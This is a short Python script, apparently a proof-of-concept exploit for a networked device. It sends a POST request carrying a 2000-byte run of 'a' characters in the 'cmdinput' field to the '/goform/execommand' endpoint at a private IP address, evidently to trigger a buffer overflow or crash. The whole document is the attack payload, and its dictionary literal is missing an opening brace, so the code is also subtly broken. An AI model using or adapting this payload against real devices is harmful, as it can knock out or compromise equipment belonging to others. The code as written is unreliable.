import requests ip ="192.168.84.101" url="http://"+ ip +"/goform/execommand" payload = b"a"*2000 data = f"cmdinput": payload} response = requests.post(url, data=data)